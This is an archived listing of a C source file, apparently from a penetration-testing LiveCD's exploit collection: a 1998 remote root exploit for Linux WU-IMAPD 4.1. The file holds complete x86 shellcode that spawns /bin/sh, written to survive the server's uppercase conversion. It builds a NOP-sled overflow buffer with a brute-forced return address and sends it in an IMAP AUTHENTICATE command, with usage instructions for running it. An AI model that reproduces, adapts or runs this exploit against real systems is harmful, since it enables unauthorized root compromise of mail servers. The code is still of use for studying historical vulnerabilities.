home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / imapd / ADM-imap4r1-linux.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  107 lines

  1. /*
  2.  
  3.   THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF THE ADM CREW
  4.    
  5.   Linux WU-IMAPD 4.1 remote root exploit (4/98)
  6.   by   ndubee||plaguez
  7.        dube0866@eurobretagne.fr
  8.  
  9.   Usage:   ./imapx <offset>
  10.            
  11.              where offset = -500..500  (brute force if 0 doesnt work) 
  12.  
  13.   Credits:
  14.     - Cheez Whiz (original x86 BSD exploit)
  15.     - #!w00w00 and #!ADM
  16.  
  17.   Note:
  18.     if you plan to port this to other OS., make sure the
  19.     shellcode doesn't contain lower case chars since imapd
  20.     will toupper() the shellcode, thus fucking it up.
  21.  
  22. */
  23.  
  24. #include <stdio.h>
  25. #include <stdlib.h>
  26. #include <limits.h>
  27. #include <string.h>
  28.  
  29. #define BUFLEN 2048
  30. #define NOP 0x90
  31.  
  32. char shell[] =
  33.   /*
  34.           jmp 56 
  35.           popl %esi
  36.           movl    %esi,%ebx
  37.           movl    %ebx,%eax
  38.           
  39.           addb    $0x20,0x1(%esi)
  40.           addb    $0x20,0x2(%esi)
  41.           addb    $0x20,0x3(%esi)
  42.           addb    $0x20,0x5(%esi)
  43.           addb    $0x20,0x6(%esi)
  44.           
  45.           movl    %esi,%edi
  46.           addl    $0x7,%edi
  47.           xorl    %eax,%eax
  48.           stosb   %al,%es:(%edi)
  49.           movl    %edi,%ecx
  50.           movl    %esi,%eax
  51.           stosl   %eax,%es:(%edi)
  52.           movl    %edi,%edx
  53.           xorl    %eax,%eax
  54.           stosl   %eax,%es:(%edi)
  55.           movb    $0x8,%al
  56.           addb    $0x3,%al
  57.           int     $0x80
  58.           xorl    %ebx,%ebx
  59.           movl    %ebx,%eax
  60.           incl    %eax
  61.           int     $0x80
  62.           call   -61 
  63.           .string \"/BIN/SH\"
  64.           .byte   0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff  ;markup
  65.    
  66.       */
  67.  
  68.   "\xeb\x38\x5e\x89\xf3\x89\xd8\x80"
  69.   "\x46\x01\x20\x80\x46\x02\x20\x80"
  70.   "\x46\x03\x20\x80\x46\x05\x20\x80"
  71.   "\x46\x06\x20\x89\xf7\x83\xc7\x07"
  72.   "\x31\xc0\xaa\x89\xf9\x89\xf0\xab"
  73.   "\x89\xfa\x31\xc0\xab\xb0\x08\x04"
  74.   "\x03\xcd\x80\x31\xdb\x89\xd8\x40"
  75.   "\xcd\x80\xe8\xc3\xff\xff\xff\x2f"
  76.   "\x42\x49\x4e\x2f\x53\x48\x00";
  77.  
  78. void
  79. main (int argc, char *argv[])
  80. {
  81.   char buf[BUFLEN];
  82.   int offset=0,nop,i;
  83.   unsigned long esp;
  84.  
  85.  
  86.   fprintf(stderr,"usage: %s <offset>\n", argv[0]);
  87.  
  88.   nop = 403;
  89.   esp = 0xbffff520;
  90.   if(argc>1)
  91.     offset = atoi(argv[1]);
  92.  
  93.   memset(buf, NOP, BUFLEN);
  94.   memcpy(buf+(long)nop, shell, strlen(shell));
  95.  
  96.   for (i = 512; i < BUFLEN - 4; i += 4)
  97.     *((int *) &buf[i]) = esp + (long) offset;
  98.  
  99.   printf("* AUTHENTICATE {%d}\r\n", BUFLEN);
  100.   for (i = 0; i < BUFLEN; i++)
  101.     putchar(buf[i]);
  102.  
  103.   printf("\r\n");
  104.  
  105.   return;
  106. }
  107. /*                    www.hack.co.za              [2000]*/